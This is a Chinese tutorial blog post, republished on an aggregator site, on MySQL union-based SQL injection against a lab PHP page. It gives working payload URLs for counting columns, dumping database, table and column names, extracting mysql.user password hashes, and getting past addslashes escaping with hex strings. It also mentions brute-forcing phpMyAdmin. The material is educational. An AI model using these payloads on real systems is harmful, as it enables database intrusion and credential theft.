sql 注入(1), union 联合注入

sql 注入, union 联合注入

一, 参数分类

根据可控参数的类型不同, 对注入类型分类:

1. 数字型select * from table where id=1
2. 字符型select * from table where username='root'
3. 搜索型select * from table where id like '%root%'
4. 关于注释:注入时, 在查询参数中使用注释需要url编码, 例如:'#'       使用 '%23''--空格'  使用 '--+''/* */'

二, 探测注入点

  • 单引号测试
    直接加一个单引号测试sql语句是否闭合, 如果报错或者页面显示异常则可能有注入点, 例如:
http://192.168.112.200/security/read.php?id=1' 页面异常或报错
结论: 可能存在注入点, 进一步使用逻辑测试
  • 逻辑测试
第一种情况:
http://192.168.112.200/security/read.php?id=1 and 1=1  页面正常
http://192.168.112.200/security/read.php?id=1 and 1=2  页面异常
结论: 是数字型参数.
第二种情况
http://192.168.112.200/security/read.php?id=1 and 1=1  页面正常
http://192.168.112.200/security/read.php?id=1 and 1=2  页面也正常
结论: 不是数字型参数, 进一步使用单引号和注释测试
http://192.168.112.200/security/read.php?id=1' and 1=1 --+  页面正常
http://192.168.112.200/security/read.php?id=1' and 1=2 --+  页面异常
结论: 是字符型参数

本篇博文涉及到的注入的语句默认以数字型参数为基础, 如果是字符型参数, 则注入语句需要额外添加单引号与注释符号, 例如:

数字型:
http://192.168.112.200/security/read.php?id=1 union all select 1,2,3,4,5,6
字符型:
http://192.168.112.200/security/read.php?id=1' union all select 1,2,3,4,5,6 --+ 

三, 注入测试

1. 探测有效列数

union 注入首先需要探测有效的列数, 使整体 union 语句有效.

案例 url :

http://192.168.112.200/security/read.php?id=1

情景:

这个url的页面显示的是一本书的两条信息, 分别是 [书名] 与 [标题],
在服务器查询的表是 [book], 字段名是 [bookname], [title] .
假设 [book] 表一共有6个字段, 其中书名与标题分别是 第 3 列, 第 4 列.

方式1: 使用 union 探测列数
  • 因为 union 语句的规则要求, union 前后两个表的列数必须相同才能执行, 所以只有当 union 后面的 select 语句所写的列数与前半段查询的那个表的列数一样才能正常执行.
  • 前半段语句, 将 id 设置为 -1 , 目的是让union前面的语句查询不出结果, 并且让整体sql语句符合语法规则, 可以顺利执行.
  • 后半段语句, union 后面 select 通过数字列号猜测最多列数, 从少到多, 每次猜测后, 发送一次请求, 观察页面变化.
  • 如果错了会报出代码异常或页面内容有变化,
    如果猜对了页面正常显示数据, 并且页面中, 原本显示 [书名] 与 [标题] 的位置上, 会代替它们显示对应列的数字编号 3, 4.
    那么3, 4 这两个位置就是可以利用的注入点, 用于后续显示我们需要的数据.

测试过程:

    http://192.168.112.200/security/read.php?id=-1 union select 1, 2 # 失败http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 4 # 失败http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 4, 5, 6 # 成功
方式2: 使用 order by 探测列数
  • 因为 order by 可以使用数字代表对应的字段做排序, 例如根据第1列排序:
    select * from table order by 1
  • 如果超出列数的范围则报错, 根据这个特点来测试表的最大列数,
  • 注意前面id的值必须是有效的, 使页面能够正常显示, 因为我们需要测试的是后面order by n 是否成功, 这与 union 注入不同:
    id=1 order by 20 # 失败id=1 order by 10 # 失败id=1 order by 8 # 失败id=1 order by 7 # 失败id=1 order by 6 # 成功, 说明最多是6列
2. union 简单注入测试

得到有效列数之后, 就可以进行基本的注入测试了, 比如执行一些 sql 函数, 来获取数据库的基本信息.
因为前面已经探测出列号 3, 4 位置上可以在页面显示, 所以利用这两个位置显示我们需要的数据. 例如:

    # 在网页上显示出当前查询的 数据库名 和 用户名http://.../read.php??id=-1 union select 1,2,database(),user(),5,6
3. 注入获取服务器上所有数据库, 表, 列, 账户等数据.

利用 mysql 内置的 information_schema 数据库查询

  • information_schema.schemata 表, 记录所有数据库名
    字段:
    schema_name 数据库名

  • information_schema.tables 表, 记录所有表名
    字段:
    table_schema 数据库名
    table_name 表名

  • information_schema.columns 表, 记录所有列名
    字段:
    table_schema 数据库名
    table_name 表名
    column_name 列名

案例:

  • 查询所有数据库的名称
    方式1: 从 information_schema.schemata 表查询(包括不含表的空数据库)

    ?id=-1 union select 1,2,3, 
    (select group_concat(schema_name) from information_schema.schemata) , 5,6
    

    方式2: 从 information_schema.tables 表查询(不包括空数据库)

    ?id=-1 union select 1,2,3, 
    (select group_concat( distinct( table_schema ) ) from information_schema.tables) , 5,6
    
  • 查询已知库中的表名, 使用 limit n, m 每次查询一个表:

    # 第一张表:
    ?id=-1 union select 1,2,3, 
    (select table_name from information_schema.tables where table_schema='learn' limit 0,1) ,5,6
    # 第二张表:
    ?id=-1 union select 1,2,3, 
    (select table_name from information_schema.tables where table_schema='learn' limit 1,1) ,5,6
    # 第三张表:
    ?id=-1 union select 1,2,3, 
    (select table_name from information_schema.tables where table_schema='learn' limit 2,1) ,5,6
    
  • (技巧) 使用 group_concat() 函数, 将多行数据合并为一行字符串, 显示所有表名, 逗号间隔

    # 显示 learn 库的所有表
    ?id=-1 union select 1,2,3, 
    (select group_concat(table_name) from information_schema.tables where table_schema='learn') , 5,6
    
  • 使用 group_concat() 函数合并所有行上的数据为一行字符串, 逗号间隔

    # 显示 learn 库, user 表的所有列名
    ?id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema='learn' and table_name='user'),5,6
    
  • 使用内置表 mysql.user 查询 root 账户信息

    # mysql.user 表中记录所有数据库账户信息
    ?id=-1 union select 1,2,3, (select concat(user, '|', password) from mysql.user limit 1) , 5,6
    
  • (技巧) 使用 group_concat() 函数 与 concat_ws() 函数, 合并多行多列数据

    # concat_ws() 指定分隔符, 合并多列数据为一行字符串
    ?id=-1 union select 1,2,3, (select concat_ws("|", user, password, host) from mysql.use limit 1), 5,6
    # 与 group_concat() 组合, 先将多列数据连接为一行字符串, 在合并多行字符串.
    ?id=-1 union select 1,2,3, (select group_concat( concat_ws("|", user, password, host) ) from mysql.user ) , 5,6
    

四, 转16进制绕过, 对于后台代码对单引号做了转义处理的情况

  • 原因:
    如果后台代码对提交的参数中的单引号做了转义处理: addslashes($_GET[‘id’])
    此时注入的sql中单引号不起作用: where table_schema=‘learn’

  • 解决办法:
    将字符串转16进制再注入, 例如:

    # 普通字符串与十六进制相互转换select hex('learn')        结果: 6C6561726Eselect unhex('6C6561726E') 结果: learn
    
  • 注入:

    # 使用十六进制代替原本的普通字符串, 绕过单引号转义.
    # where table_schema='learn'
    ?id=-1 union select 1,2,3, 
    (select group_concat(table_name) from information_schema.tables where table_schema=0x6C6561726E), 5,6
    

五, 数据库中出现phpmyadmin的情况

  • 攻击:
    尝试访问 /phpmyadmin, 如果配置认证方式为默认的: config, 则从网页可以直接进入后台,
    如果认证方式为: http, 则需要输入用户名和密码登录, 可爆破.

  • 防御:
    禁用phpmyadmin远程访问, 例如xampp环境:

    # 配置文件路径: 
    /opt/lampp/etc/extra/httpd-xampp.conf
    
    # since XAMPP 1.4.3
    <Directory "/opt/lampp/phpmyadmin">AllowOverride AuthConfig LimitRequire local     # 只允许本地访问# Require all granted # 允许所有IP访问ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
    </Directory>
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/105676.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何做好数据分析中的数据可视化?

数据可视化在数据分析中扮演着重要的角色&#xff0c;它帮助我们更好地理解和传达数据的特征、趋势和规律。以下是关于如何做好数据分析中的数据可视化的详细介绍。 一、准备工作 1. 理解数据 在进行数据可视化之前&#xff0c;首先要对数据有一个清晰的理解。了解数据的来源…

Yakit工具篇:简介和安装使用

简介(来自官方文档) 基于安全融合的理念&#xff0c;Yaklang.io 团队研发出了安全领域垂直语言Yaklang&#xff0c;对于一些无法原生集成在Yak平台中的产品/工具&#xff0c;利用Yaklang可以重新编写 他们的“高质量替代”。对于一些生态完整且认可度较高的产品&#xff0c;Y…

JavaScript 通过数组对JSON key字段进行排序

这里我以vue为例 不过json排序用的js方式 任何前端项目都可以通过js完成 我们组件代码现在是这样的 <template><div><div v-for "item in navCateList" :key "item.id">{{ item.name }}</div></div> </template>&…

使用.NET实现WOL唤醒远程开机

文章目录 1. 背景2. 关于 WOL2.1 WOL 工作原理2.2 开启网卡唤醒功能 3. 快速验证3.1 局域网 Wake on Lan 应用3.2 Ubuntu 的 etherwake 命令4. 代码实现4.1 创建.NET控制台应用程序4.2 编写代码4.3 运行应用程序 5. 最后 1. 背景 家居自动化是现代智能家居的重要组成部分&…

[ROS2系列] ubuntu 20.04测试rtabmap

目录 背景&#xff1a; 一、配置 turtlebot3 二、安装RTAB-Map ROS2包&#xff1a; 三、启动 Turtlebot3 模拟器&#xff1a; 四、启动 RTAB 地图&#xff1a; 五、启动导航&#xff08;nav2_bringup应安装软件包&#xff09;&#xff1a; 背景&#xff1a; 1、设备&…

矩阵键盘行列扫描

/*----------------------------------------------- 内容&#xff1a;如计算器输入数据形式相同 从右至左 使用行列扫描方法 ------------------------------------------------*/ #include<reg52.h> //包含头文件&#xff0c;一般情况不需要改动&#xff0c;头文件包含…

杀死僵尸进程ZooKeeperMain

关闭Hadoop后jps发现还有个进程ZooKeeperMain没有关闭&#xff0c;使用kill -9 <>也没有用&#xff0c;这种就是僵尸进程&#xff0c;需要用父进程ID来杀死 解决方法 话不多说&#xff0c;直接上解决方案&#xff0c; 1. 第一步 清楚需要关闭的进程ID&#xff0c;我…

项目配置vue.config jsconfig babel.config .prettierc .env .eslintrc

.env 在一个产品的前端开发过程中&#xff0c;一般来说会经历本地开发、测试脚本、开发自测、测试环境、预上线环境&#xff0c;然后才能正式的发布。对应每一个环境可能都会有所差异&#xff0c;比如说服务器地址、接口地址、websorket地址…… 等等。在各个环境切换的时候&am…

小程序 | 小程序后端用什么语言开发比较好

目录 ♣️ 引言 选择合适的后端语言 推荐使用Node.js Node.js 的优点 其他备选语言 ♣️ 小结 ♣️ 引言 小程序的兴起已经成为了当今移动互联网时代的热点之一&#xff0c;而小程序后端的好坏直接影响着小程序的使用体验&#xff0c;因此&#xff0c;选择一种好的语言来…

一键批量转换,轻松将TS视频转为MP4视频,实现更广泛的播放和分享!

在享受精彩视频内容的同时&#xff0c;有时我们可能会面临一个问题&#xff1a;某些视频格式可能不太适合我们的播放设备或分享平台。特别是TS格式的视频&#xff0c;在一些情况下可能无法直接播放或上传。但是不用担心&#xff0c;因为我们为您提供了一款强大的视频剪辑工具&a…

数据特征选择 | Lasso特征选择(Python)

文章目录 效果一览文章概述源码设计小结效果一览 文章概述 Lasso算法是一种经典的线性回归算法,被广泛应用于特征选择和降维问题。相较于传统的线性回归算法,Lasso算法能够在保持预测准确性的同时,自动筛选出对目标变量影响较大的特征变量,从而达到降低模型复杂度、提高泛化…

Python文件读写实战:处理日常任务的终极工具!

更多资料获取 &#x1f4da; 个人网站&#xff1a;涛哥聊Python Python文件的读写操作时&#xff0c;有很多需要考虑的细节&#xff0c;这包括文件打开方式、读取和写入数据的方法、异常处理等。 在本文中&#xff0c;将深入探讨Python中的文件操作&#xff0c;旨在提供全面的…

TSINGSEE青犀智慧城市数字基座解决方案,助力城市数字化转型

一、行业背景 我国“十四五”规划纲要中提出&#xff0c;分级分类推进新型智慧城市建设&#xff0c;将物联网感知设施、通信系统等纳入公共基础设施统一规划建设&#xff0c;推进市政公用设施、建筑等物联网应用和智能化改造。完善城市信息模型平台和运行管理服务平台&#xf…

Godot2D角色导航-自动寻路教程(Godot设置导航代理的目标位置)

文章目录 创建导航NavigationAgent2D节点设置目标位置其他文章 创建导航 首先&#xff0c;创建一个基本的场景&#xff0c;下面的文章讲解了如何创建一个基本的导航场景&#xff0c;点击如下链接前往该文章&#xff1a; Godot2D角色导航-自动寻路教程 NavigationAgent2D节点 …

Spring Data Envers 支持有条件变动纪录的保存和查询

数据审计是业务系统的一个基本能力&#xff0c;需要系统能够将关键数据的变动纪录都保存下来&#xff0c;并支持变动纪录的查询。 通过spring-data-envers可以很容易的实现数据变动纪录的保存和查询。 有些情况下&#xff0c;我们需要只保存满足特定条件的数据变动纪录&#…

蓝桥杯(迷宫,C++)

输入&#xff1a; 思路&#xff1a; 1、注意输入用字符串。 2、采用广度搜素的方法来求解。 3、因为最后要求字典序最小且D<L<R<U,所以在遍历四个方向的时候&#xff0c; 先向下&#xff0c;再向左、右&#xff0c;最后向上。 #include<iostream> #include…

thinkphp6

unexpected , expecting case (T_CASE) or default (T_DEFAULT) or } 在模板中应用{switch}{/switch}标签,报错,其实是switch的问题&#xff0c;模板解析后&#xff0c;switch:和第一个case:之间不能有有输出的&#xff0c;一个空格也不行&#xff0c;所以第一个要紧跟着 Thi…

基于Jaya优化算法的电力系统最优潮流研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

数据库管理-第109期 19c OCM考后感(20231015)

数据库管理-第109期 19c OCM考后感&#xff08;202301015&#xff09; 距离上一篇又过了两周多&#xff0c;为啥又卡了这么久&#xff0c;主要是后面几个问题&#xff1a;1. 9月1日的19c OCM upgrade考试木有过&#xff0c;因为有一次免费补考机会就又预约了10月8日的考试&…

网络工程师知识点3

41、各个路由协议&#xff0c;在华为设备中的优先级&#xff1f; 直连路由 0 OSPF 10 静态 60 42、OSPF&#xff1a;开放式最短路径优先路由协议&#xff0c;使用SPF算法发现和计算路由 OSPF的优点&#xff1a; 1、收敛速度快&#xff0c;无路由自环&#xff0c;适用于大型网络…